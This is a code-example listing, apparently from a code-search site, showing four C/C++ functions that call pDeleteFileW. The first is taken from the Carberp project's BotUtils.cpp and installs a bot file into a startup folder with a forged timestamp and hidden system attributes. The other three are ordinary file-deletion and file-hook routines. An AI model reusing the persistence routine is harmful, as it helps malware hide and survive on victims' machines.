예제 #1
0
파일: BotUtils.cpp 프로젝트: 12019/Carberp
void AddToAutoRun( WCHAR *TempFileName )
{	
	if ( pGetFileAttributesW( TempFileName ) != 0 )
	{
		WCHAR *BotPath = GetShellFoldersKey( 1 );
		if ( BotPath == NULL )
		{
			return;
		}

		plstrcatW( BotPath, BOT_FILE_NAME );

		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL );

		pCopyFileW( TempFileName, BotPath, FALSE );

		SetFakeFileDateTime( BotPath );

		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
	
		pDeleteFileW( TempFileName );

		MemFree( BotPath );
	}

	return;
}
예제 #2
0
static int doPlatformDelete(LPWSTR wpath)
{
    /* If filename is a folder */
    if (pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY)
    {
        BAIL_IF_MACRO(!pRemoveDirectoryW(wpath), winApiStrError(), 0);
    } /* if */
    else
    {
        BAIL_IF_MACRO(!pDeleteFileW(wpath), winApiStrError(), 0);
    } /* else */

    return(1);   /* if you made it here, it worked. */
} /* doPlatformDelete */
예제 #3
0
static int doPlatformDelete(LPWSTR wpath)
{
	/* If filename is a folder */
	int isdir = 0;
	//if (pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY)
	WIN32_FILE_ATTRIBUTE_DATA file_info;
	const BOOL res = GetFileAttributesExW(wpath, GetFileExInfoStandard, &file_info);
	if (res) {
		isdir = (file_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY);
	}

	if (isdir)
	{
		BAIL_IF_MACRO(!pRemoveDirectoryW(wpath), winApiStrError(), 0);
	} /* if */
	else
	{
		BAIL_IF_MACRO(!pDeleteFileW(wpath), winApiStrError(), 0);
	} /* else */

	return(1);   /* if you made it here, it worked. */
} /* doPlatformDelete */
예제 #4
0
BOOL WINAPI MyDeleteFileW( LPCWSTR lpFileName )
{
	CString strFileName;
	strFileName = lpFileName;
	strFileName.MakeLower();
	CMemFileObject *pMemFileObject = NULL;
	FMemRecord.GetRecordData(strFileName,&pMemFileObject);

	if (pMemFileObject)
	{
		if ( pMemFileObject->CanDel() )
		{
#if defined(DEBUG) || defined(_DEBUG)
			CString strMsgOut;
			strMsgOut.Format(L"删除内存文件 Path:%s\n",pMemFileObject->GetFileName());
			OutputDebugStringW(strMsgOut);
#endif
			FMemRecord.DelRecord(strFileName,NULL);
			delete pMemFileObject;
		}
		else
		{
#if defined(DEBUG) || defined(_DEBUG)
			CString strMsgOut;
			strMsgOut.Format(L"****异常 删除内存文件 Path:%s\n",pMemFileObject->GetFileName());
			OutputDebugStringW(strMsgOut);
#endif
			return FALSE;
		}
		
	}

	BOOL TReturn = pDeleteFileW(
		lpFileName
		);
	return TReturn;
};